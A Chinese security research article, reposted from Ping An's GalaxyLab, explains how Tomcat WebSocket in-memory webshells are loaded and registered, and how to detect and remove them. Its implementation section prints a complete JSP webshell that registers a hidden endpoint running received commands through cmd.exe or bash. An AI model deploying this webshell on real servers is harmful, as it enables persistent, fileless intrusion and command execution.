Tomcat WebSocket内存马实现原理

admin 2022年10月1日11:27:30安全文章评论8 views7555字阅读25分11秒阅读模式


前不久,网上出现了关于websocket内存马的介绍,经过试用发现效果不错。但是原文(https://github.com/veo/wsMemShell/),对于原理的介绍一笔带过,看过之后,依然有很多疑问。于是就尝试学习一下WebSocket内存马的实现原理。


主要分析了Tomcat WebSocket内存马的实现原理,关于其他中间件暂未涉及。

WebSocket内存马实现的关键在于服务端端点(Endpoint)的实现、加载,执行,重点关注这三个方面。


>>>Endpoint的实现


此次实现的WebSocket内存马是基于Java WebSocket规范(JSR356)。Tomcat将WebSocket通信中的服务端抽象为了Endpoint,并提供两种方式来实现Endpoint:
  1. 注解方式:@ServeEndpoint

  2. 继承抽象类方式:javax.websocket.Endpoint


这两种方式都需要实现相应的生命周期。提供了4个标准的生命周期方法,当产生不同的事件时会被回调触发:
  • onOpen: 会话建立

  • onClose: 会话关闭

  • onError: 会话异常

  • onMessage: 接收到消息


注解方式


通过注解方式实现Endpoint,需要用@ServerEndpoint注解实现了Endpoint生命周期的类,并用生命周期相关的注解(@OnOpen、@OnClose、@OnError、@OnMessage)来注解对应的生命周期实现方法。通过注解的参数,为当前Endpoint注册URI路径。
import javax.websocket.*;import javax.websocket.server.ServerEndpoint;import java.io.IOException; @ServerEndpoint("/websockets")public class WebSocketServer {     private Session session;     @OnOpen    public void onOpen(Session session) {         this.session = session;        System.out.println("已连接!Session: " + session.toString());         try {            session.getBasicRemote().sendText("a");        } catch (IOException e) {            e.printStackTrace();        }    }     @OnMessage    public void onMessage(Session session, String message) {        System.out.println("onMessage:" + message);    }     @OnClose    public void onClose(Session session, CloseReason closeReason) {        System.out.println("CloseReason:" + closeReason.toString());    }     @OnError    public void onError(Throwable throwable) {        throwable.printStackTrace();    }}


继承抽象类方式


通过继承抽象类方式实现Endpoint稍微复杂一些,需要实现三个类:
  1. Endpoint实现类:主要实现3个标准生命周期方法(onOpen、onError、onClose),添加MessageHandler对象

  2. MessageHandler实现类:实现onMessage方法

  3. ServerApplicationConfig实现类:完成Endpoint的URI路径注册

//Endpoint实现类import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.MessageHandler;import javax.websocket.Session;import java.io.IOException; public class WebSocketServer2 extends Endpoint {     private Session session;     @Override    public void onOpen(Session session, EndpointConfig endpointConfig) {        this.session = session;        session.addMessageHandler(new MessageHandler.Whole<String>() {    //匿名类实现MessageHandler            @Override            public void onMessage(String message) {                System.out.println("onMessage: "+message);            }        });        System.out.println("已连接WebsocketServer: " + session.toString());        try {            session.getBasicRemote().sendText("a");        } catch (IOException e) {            e.printStackTrace();        }    }} //ServerApplicationConfig实现类import javax.websocket.Endpoint;import javax.websocket.server.ServerApplicationConfig;import javax.websocket.server.ServerEndpointConfig;import java.util.HashSet;import java.util.Set; public class EndpointApplicationConfig implements ServerApplicationConfig {    @Override    public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {          Set<ServerEndpointConfig> result = new HashSet<>();        if (set.contains(WebSocketServer2.class)) {            result.add(ServerEndpointConfig.Builder.create(WebSocketServer2.class, "/websockets2").build());        }        return result;    }     @Override    public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {        System.out.println(set);        return set;    }}



>>>SCI机制


Tomcat的WebSocket加载是通过SCI机制完成的。

Tomcat在启动时会对classpath下的Jar包进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

对于Tomcat WebSocket来说,如图是tomcat-websocket.jar的ServletCotainerInitializer文件。

Tomcat WebSocket内存马实现原理


会加载文件中的类:org.apache.tomcat.websocket.server.WsSci,该类是ServletContainerInitializer接口的实现类。

然后该类的@HandleTypes注解的值会指定的一系列类、接口、注解。Tomcat会获取指定类、接口、注解的实现类,并在调用WsSci#onStartup时作为参数传入。

Tomcat WebSocket内存马实现原理



>>>Endpoint的加载


ServerEndpoint、ServerApplicationConfig、Endpoint的实现类,以参数传入WsSci#onStartup。

ServerApplicationConfig的实现类,实例化后存入serverApplicationConfigs变量。

Endpoint的实现类,存入scannedEndpointClazzes变量。

ServerEndpoint注解的类,存入scannedPojoEndpoints变量。

Tomcat WebSocket内存马实现原理

变量存储情况如下,通过注解方式实现的WebSocketServer类存入了scannedPojoEndpoints,通过继承抽象类方式实现的WebSocketServer2类存入了scannedEndpointClazzes

另外,scannedEndpointClazzes中还存入了PojoEndpointClient和PojoEndpointServer两个类。

Tomcat WebSocket内存马实现原理


接着会根据serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三个变量的值,来构建两个变量:filteredEndpointConfigsfilteredPojoEndpoints

filteredEndpointConfigs:如果有ServerApplicationConfig对象,则遍历所有对象并完成如下操作:调用其getEndpointConfigs方法获取ServerEndpointConfig的集合,加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存储的是通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合。

filteredPojoEndpoints:利用同样的ServerApplicationConfig对象,调用其getAnnotatedEndpointClasses方法获取Class对象的集合,也是被ServerEndpoint注解的类的集合。因此filteredPojoEndpoints存储的是@ServerEndpoint注解的类的集合。

Tomcat WebSocket内存马实现原理


变量存储情况如下,通过注解方式实现的WebSocketServer类存入了filteredPojoEndpoints,而filteredEndpointConfigs存储的是EndpointApplicationConfig#getEndpointConfigs返回的DefaultServerEndpointConfig

Tomcat WebSocket内存马实现原理


接着就是根据两个变量向WsServerContainer添加Endpoint,完成Endpoint的部署。

对应了WsServerContainer的两个重载方法:
  • addEndpoint(javax.websocket.server.ServerEndpointConfig):该方法中,会根据传入的ServerEndpointConfig对象进行URI路径注册,其中包含了该对象在创建时指定的Endpoint实现类。

  • addEndpoint(java.lang.Class<?>):该方法中,会获取传入的POJO类的注解,根据注解的参数值创建ServerEndpointConfig对象,然后调用上面的重载方法,进行URI路径注册。

Tomcat WebSocket内存马实现原理



>>>Endpoint的执行


WsSci#onStartup中,会进行WsServerContainer的创建和初始化,在创建过程中会通过ServletContext#addFilter调用ApplicationContextFacade#addFilter添加过滤器WsFilter。

Tomcat WebSocket内存马实现原理

之后所有的请求都会经过WsFilter。之后接收到请求之后,如果注册有Endpoint,且请求是WebSocket的协议升级请求,进行规则匹配及升级。

为了匹配规则,会通过WsServerContainer#findMapping获取URI路径对应的WsMappingResult对象,并进行协议升级。

Tomcat WebSocket内存马实现原理



>>>内存马实现


根据Endpoint的加载得知要想动态添加一个Endpoint,就需要获取WsServerContainer,并通过addEndpoint向其中添加ServerEndpointConfig

在WsSci#init中,完成了对WsServerContainer的实例化,并且通过ServletContext#setAttribute对WsServerContainer进行存储。因此就可以通过ServletContext来获取WsServerContainer。

最终WebSocket内存马实现步骤如下:
  1. 实现Endpoint,MessageHandler.onMessage中实现木马通讯功能

  2. 为Endpoint创建ServerEndpointConfig

  3. 依次获取ServletConext和WsServerContainer

  4. 通过WsServerContainer.addEndpoint添加ServerEndpointConfig

<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%@ page import="javax.websocket.server.ServerContainer" %><%@ page import="javax.websocket.*" %><%@ page import="java.io.*" %>
<%! public static class C extends Endpoint implements MessageHandler.Whole<String> { private Session session; @Override public void onMessage(String s) { try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s }); } else { process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s }); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char)i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); } } @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session; session.addMessageHandler(this); } }%><% String path = request.getParameter("path"); System.out.println(path); ServletContext servletContext = request.getSession().getServletContext(); ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build(); ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); try { if (servletContext.getAttribute(path) == null){ container.addEndpoint(configEndpoint); servletContext.setAttribute(path,path); } out.println("success, connect url path: " + servletContext.getContextPath() + path); } catch (Exception e) { out.println(e.toString()); }%>



>>>查杀


了解实现原理之后查杀就好实现了,只需要从WsContainer取出所有的ServerEndpointConfig,重点关注其path和endpointClass即可。然后根据path来移除configTemplateMatchMap中存储的键值对即可。

具体实现在java-memshell-scanner项目中已经有人提交,等待合并之后可以直接使用。


参考来源:

1、websocket内存马项目:https://github.com/veo/wsMemShell

2、java-memshell-scanner项目:https://github.com/c0ny1/java-memshell-scanner





银河实验室

Tomcat WebSocket内存马实现原理

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/



往期回顾


技术

利用Outlook规则,实现RCE

技术

内网渗透软件-BloodHound使用指南

技术

Windows Search Protocol漏洞复现

技术

水坑钓鱼研究





点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

原文始发于微信公众号(平安集团安全应急响应中心):Tomcat WebSocket内存马实现原理

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日11:27:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Tomcat WebSocket内存马实现原理 http://cn-sec.com/archives/1308175.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: